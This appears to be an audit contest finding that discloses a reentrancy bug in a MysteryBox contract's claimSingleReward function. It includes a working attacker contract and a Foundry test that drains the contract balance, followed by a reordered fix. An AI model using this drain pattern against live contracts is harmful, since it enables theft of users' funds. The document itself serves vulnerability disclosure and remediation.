Submission Details
Severity:
Reentrancy attack in MysterBox :: claimSingleReward allows enntrant to drain the contract Balance.
Summary :
The MysteryBox :: claimSingleReward function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.
Vulnerability Details :
In the MysterBox :: claimSingleReward function, we first make an external call to the msg.sender address, and only after making that external call, we update the array in the mapping.
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success, ) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}
Impact :
All fees paid to buy the boxes could be stolen by a malicious buyer.
Proof of Code :
First of all i created a mockOpenBox function that follow the same logic as the the openBox function in the mysteryContract so i can always in order to claim a reward
function mockOpenBox(uint256 _randomValue) public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
uint256 randomValue = _randomValue % 100; // Mock value
if (randomValue < 75) {
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}
contract Hack {
MysteryBox public mysterybox;
constructor(MysteryBox _mysterybox) {
mysterybox = _mysterybox;
}
function attack() public {
mysterybox.buyBox{value: 0.1 ether}();
mysterybox.mockOpenBox(90);
mysterybox.buyBox{value: 0.1 ether}();
mysterybox.mockOpenBox(92);
mysterybox.claimSingleReward(0);
}
receive() external payable {
if (address(mysterybox).balance > 0) {
mysterybox.claimSingleReward(0);
}
}
}
function testReentrancyOnClaimSingleRewards() public {
address attacker = makeAddr("attacker");
vm.deal(address(hacker), 2 ether);
vm.deal(attacker, 1 ether);
vm.startPrank(attacker);
hacker.attack();
vm.stopPrank();
assertEq(address(mysteryBox).balance, 0);
}
Recommendations :
**To fix this, we should have MysteryBox:: claimAllRewards update the array of the mapping before making the external call. **
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
delete rewardsOwned[msg.sender][_index];
(bool success, ) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
}
Updates
Appeal created
inallhonesty about 1 year ago
Submission Judgement Published Assigned finding tags:
`claimSingleReward` reentrancy
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.